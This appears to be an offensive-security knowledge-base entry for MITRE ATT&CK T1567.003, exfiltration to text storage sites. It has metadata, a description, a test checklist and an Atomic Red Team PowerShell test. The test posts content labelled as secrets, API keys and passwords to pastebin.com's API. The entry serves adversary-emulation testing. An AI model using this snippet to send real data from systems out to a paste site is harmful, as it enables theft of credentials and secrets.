t1567-003-exfiltration-to-text-storage-sites

name	T1567.003_exfiltration-to-text-storage-sites
description	Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel.
category	client-side
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1567.003","exfiltration","linux","macos","windows","esxi","sub-technique"]
technique_id	T1567.003
tactic	exfiltration
all_tactics	["exfiltration"]
platforms	["Linux","macOS","Windows","ESXi"]
mitre_url	https://attack.mitre.org/techniques/T1567/003
tech_stack	["linux","macos","windows","esxi"]
cwe_ids	["CWE-200"]
chains_with	["T1567","T1567.001","T1567.002","T1567.004"]
prerequisites	["T1567"]
severity_boost	{"T1567":"Chain with T1567 for deeper attack path","T1567.001":"Chain with T1567.001 for deeper attack path","T1567.002":"Chain with T1567.002 for deeper attack path"}

T1567.003 Exfiltration to Text Storage Sites

Sub-technique of: T1567

High-Level Description

Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.

Text storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.

Note: This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.

Kill Chain Phase

• Exfiltration (TA0010)

Platforms: Linux, macOS, Windows, ESXi

What to Check

• Identify if Exfiltration to Text Storage Sites technique is applicable to target environment
• Check Linux systems for indicators of Exfiltration to Text Storage Sites
• Check macOS systems for indicators of Exfiltration to Text Storage Sites
• Check Windows systems for indicators of Exfiltration to Text Storage Sites
• Verify mitigations are bypassed or absent (1 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)

This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin)
See https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it

Supported Platforms: windows

$apiKey = "#{api_key}"
$content = "secrets, api keys, passwords..."
$url = "https://pastebin.com/api/api_post.php"
$postData = @{
  api_dev_key   = $apiKey
  api_option    = "paste"
  api_paste_code = $content
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
Write-Host "Your paste URL: $response"